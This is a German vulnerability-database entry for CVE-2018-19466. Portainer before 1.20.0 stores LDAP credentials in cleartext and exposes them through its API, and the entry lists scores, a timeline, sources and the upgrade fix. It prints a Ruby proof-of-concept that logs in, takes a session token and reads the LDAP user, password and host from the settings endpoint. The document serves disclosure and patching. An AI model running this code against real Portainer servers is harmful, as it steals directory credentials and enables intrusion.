Portainer bis 1.19.x API Credentials erweiterte Rechte
| CVSS Meta Temp Score | Aktueller Exploitpreis (≈) | CTI Interest Score |
|---|---|---|
| 7.3 | $0-$5k | 0.00 |
Zusammenfassung
In Portainer bis 1.19.x wurde eine Schwachstelle ausgemacht. Sie wurde als problematisch eingestuft. Dies betrifft einen unbekannten Teil der Komponente API. Durch Manipulation mit unbekannten Daten kann eine erweiterte Rechte-Schwachstelle (Credentials) ausgenutzt werden. Die Verwundbarkeit wird unter CVE-2018-19466 geführt. Der Angriff kann über das Netzwerk erfolgen. Desweiteren ist ein Exploit verfügbar. Als bestmögliche Massnahme wird das Einspielen eines Upgrades empfohlen.
Details
In Portainer bis 1.19.x wurde eine problematische Schwachstelle entdeckt. Hierbei betrifft es ein unbekannter Ablauf der Komponente API. Durch Manipulation mit einer unbekannten Eingabe kann eine erweiterte Rechte-Schwachstelle (Credentials) ausgenutzt werden. CWE definiert das Problem als CWE-255. Die Auswirkungen sind bekannt für die Vertraulichkeit. Die Zusammenfassung von CVE lautet:
A vulnerability was found in Portainer before 1.20.0. Portainer stores LDAP credentials, corresponding to a master password, in cleartext and allows their retrieval via API calls.Die Schwachstelle wurde am 27.03.2019 durch Mauro Eldritch (plaguedoktor) (GitHub Repository) öffentlich gemacht. Das Advisory findet sich auf github.com. Die Verwundbarkeit wird seit dem 22.11.2018 als CVE-2018-19466 geführt. Sie ist leicht auszunutzen. Der Angriff kann über das Netzwerk angegangen werden. Um eine Ausnutzung durchzusetzen, muss keine spezifische Authentisierung umgesetzt werden. Es sind zwar keine technische Details, jedoch ein öffentlicher Exploit zur Schwachstelle bekannt. Diese Schwachstelle wird durch das MITRE ATT&CK als Angriffstechnik T1552 bezeichnet.
Ein öffentlicher Exploit wurde durch Mauro Eldritch (plaguedoktor) in Ruby programmiert und schon vor und nicht nach dem Advisory veröffentlicht. Der Download des Exploits kann von github.com geschehen. Er wird als proof-of-concept gehandelt. Mindestens 123 Tage galt die Schwachstelle als nicht öffentlicher Zero-Day. Während dieser Zeit erzielte er wohl etwa $0-$5k auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:
uri = URI.parse("http://#{$host}:#{$port}/api/auth")
request = Net::HTTP::Post.new(uri)
request.content_type = "application/json"
request.body = JSON.dump({
"Password" => "#{$pass}",
"Username" => "#{$user}"
})
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
http.request(request)
end
token = JSON.parse(response.body)["jwt"]
puts "[*] Session Token: #{token}"
uri = URI.parse("http://#{$host}:#{$port}/api/settings")
request = Net::HTTP::Get.new(uri)
request["Authorization"] = "Bearer #{token}"
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
http.request(request)
end
json_response = JSON.parse(response.body)
puts "\n[*][#{$host}]\nSettings:"
puts "\t- LDAP User: " + json_response["LDAPSettings"]["ReaderDN"]
puts "\t- LDAP Pass: " + json_response["LDAPSettings"]["Password"]
puts "\t- LDAP Host: " + json_response["LDAPSettings"]["URL"]Ein Aktualisieren auf die Version 1.20.0 vermag dieses Problem zu lösen.
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Produkt
Name
Version
Webseite
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Zuverlässigkeit: 🔍
CVSSv3
VulDB Meta Base Score: 7.6VulDB Meta Temp Score: 7.3
VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍
NVD Base Score: 9.8
NVD Vector: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vektor | Komplexität | Authentisierung | Vertraulichkeit | Integrität | Verfügbarkeit |
|---|---|---|---|---|---|
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍
NVD Base Score: 🔍
Exploiting
Name: CredentialsKlasse: Erweiterte Rechte / Credentials
CWE: CWE-255
CAPEC: 🔍
ATT&CK: 🔍
Physisch: Nein
Lokal: Nein
Remote: Ja
Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Autor: Mauro Eldritch (plaguedoktor)
Programmiersprache: 🔍
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍
| 0-Day | freischalten | freischalten | freischalten | freischalten |
|---|---|---|---|---|
| Heute | freischalten | freischalten | freischalten | freischalten |
Threat Intelligence
Interesse: 🔍Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍
Gegenmassnahmen
Empfehlung: UpgradeStatus: 🔍
0-Day Time: 🔍
Upgrade: Portainer 1.20.0
Patch: github.com
Timeline
22.11.2018 🔍24.11.2018 🔍
27.03.2019 🔍
28.03.2019 🔍
17.08.2023 🔍
Quellen
Produkt: github.comAdvisory: github.com
Person: Mauro Eldritch (plaguedoktor)
Status: Bestätigt
CVE: CVE-2018-19466 (🔍)
GCVE (CVE): GCVE-0-2018-19466
GCVE (VulDB): GCVE-100-132499
scip Labs: https://www.scip.ch/?labs.20161013
Eintrag
Erstellt: 28.03.2019 11:38Aktualisierung: 17.08.2023 06:22
Anpassungen: 28.03.2019 11:38 (51), 24.05.2020 09:02 (17), 17.08.2023 06:22 (4)
Komplett: 🔍
Cache ID: 216::103
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Bisher keine Kommentare. Sprachen: de + en.
Bitte loggen Sie sich ein, um kommentieren zu können.